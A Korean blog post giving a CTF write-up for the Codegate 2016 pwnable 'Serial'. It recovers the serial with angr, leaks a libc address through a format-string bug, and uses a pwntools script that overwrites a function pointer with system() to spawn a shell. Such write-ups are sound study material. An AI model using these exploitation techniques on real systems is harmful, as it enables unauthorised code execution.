블로그 이미지
Nehoy
경기대학교 / kknock

calendar

1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31

Notice

Tag

2017. 2. 20. 06:32 Hack/포너블

Codegate 2016 예선 문제 중 하나인 Serial이다.

Serial.zip

<프로그램 화면>

맨처음 이 프로그램을 실행시키기 위해서는 serial을 입력해야 한다.


<IDA를 이용하여 본 0x400cbb(check_serial)>

serial을 알아내기 위해서 python이나 c언어로 위 함수를 직접 모방할 수도 있지만, 복잡한 코드로 구성되어있기 때문에 이번에는 angr를 사용해보기로 했다.


1
2
3
4
5
6
7
8
9
10
11
import angr
 
def main():
    p = angr.Project("serial", load_options={'auto_load_libs': False})
    ex = p.surveyors.Explorer(find=(0x400f2e), avoid=(0x400d2c0x400e82))
    ex.run()
    
    return ex.found[0].state.posix.dumps(0).strip('\0\n')
 
if __name__ == '__main__':
    print main()
cs

<serial값을 알아내기 위한 python - angr code>

인터넷에 돌아다니는 angr 소스에 find와 avoid 주소만 바꾼 것이다.

find=0x400f2e 는 serial을 맞추면 나오는 Smash me!를 출력하는 곳이고, avoid=0x400d2c, 0x400e82는 각각 number only와 Wrong!을 출력하고 exit하는 곳이다. (사실 find주소만 제대로 되면 avoid 주소는 시간 단축 외에는 쓸모가 없는거 같다.)


<python - angr 결과>

위 결과에서 615066814080이 serial값이 된다.


<프로그램 화면>

올바른 serial key를 입력하면 위와 같이 4개의 메뉴가 등장하게 된다.

여기서 주의깊게 봐야할 메뉴는 1. Add와 3. Dump다.


<0x400a27(add)>

<0x4009dd<dump>

1. Add에서 32byte의 string을 넣을 수 있는데, 24-32byte는 3. Dump에서 호출할 함수의 주소로 활용된다. 기본적으로 24byte에 0x40096e가 들어가지만, 주소값이 들어가고 문자열을 복사하기 때문에 덮어씌울 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import time
 
proc = remote('localhost'9002)
 
def send(value) :
    proc.sendline(value)
def recv() :
    print(proc.recvrepeat(0.1))
 
recv()
 
send("615066814080"# serial
recv()
 
send("1"# add
recv()
send("%19$p " + "\x90"*18 + "\x90\x07\x40\x00")
recv()
 
send("3"# dump - print(__libc_start_main_ret)
print(proc.recvline()) # func : 
 
temp = proc.recvline()
main_ret = int(temp[:temp.find(' ')], 16)
 
print('main_ret : ' + hex(main_ret))
cs
<addr python code>

<프로그램 결과>

<libc-database libc버전>

위 3. Dump에서 printf함수를 호출하면 fsb를 일으킬 수 있다. 이를 이용해서 main함수의 return값인 __libc_start_main_ret를 구하면, libc 버전을 구할 수 있다.


/* 항상 하던대로 "%p"*X를 사용하면 index가 12인 값밖에 구하지 못하기 때문에 main_ret를 구하지 못한다. 이를 어떻게 하나 write-up을 보다가 찾은게 %19$p인데, 19$가 index를 지정해주는거 같다. Linux에서만 적용되는거 같지만, 좀 더 연구할만한 가치는 있는거 같다. */


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
import time
 
proc = remote('localhost'9002)
 
def send(value) :
    proc.sendline(value)
def recv() :
    print(proc.recvrepeat(0.1))
 
recv()
 
send("615066814080"# serial
recv()
 
send("1"# add
recv()
send("%19$p " + "\x90"*18 + "\x90\x07\x40\x00")
recv()
 
send("3"# dump - print(__libc_start_main_ret)
print(proc.recvline()) # func : 
 
# get system address
temp = proc.recvline()
main_ret = int(temp[:temp.find(' ')], 16)
sys_addr = main_ret - 0x20830 + 0x45390
 
recv()
 
send("2"# remove
recv()
send("0"# index : 0
recv()
 
send("1"# add
recv()
send("/bin/sh;" + " "*16 + p64(sys_addr)[:-2])
recv()
 
send("3"# dump - system("sh')
recv()
 
time.sleep(1# wait to open shell
 
send("ls -l serial")
recv()
 
cs

<exploit python code>

<exploit 결과>

1. Add로 넣는 문자열 중간에는 NULL이 있을 수 없다. 이 문제점을 안고 /bin/sh 문자열을 어떻게 넣나 찾아보던 중에 명령어가 세미콜론(;)으로 구분되는 것을 보고 위와 같이 exploit 하였다.


원격 접속이기 때문에 recv받을 때까지 기다리는 시간을 충분히 해줘야 한다. ex. recvrepeat(0.1)


<checksec.sh>

처음에는 NX를 확인하지 않고 shell code를 넣어서 문제를 풀려고 했다. 그게 shellcode - exploit.py 파일이다.


※ kknock 서버와 내 vm - ubuntu를 왔다갔다 거리면서 문제를 풀어서 user가 변하는 모습을 볼 수 있다. 실제 문제를 푼 곳은 vm - ubuntu다. kknock 서버에서는 구한__libc_start_main_ret에 맞는 libc버전이 나오지 않아, 문제를 풀지 못했다.

★ angr와 libc-database를 조금 야매로 한거 같아서 나중에 제대로 조사해봐야겠다.



'Hack > 포너블' 카테고리의 다른 글

[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Linux] ps | grep & socat & checksec.sh  (0) 2017.02.19
[포너블] pwn1  (0) 2017.02.15
[Codegate 2017] Prequal : Hunting  (3) 2017.02.12
posted by Nehoy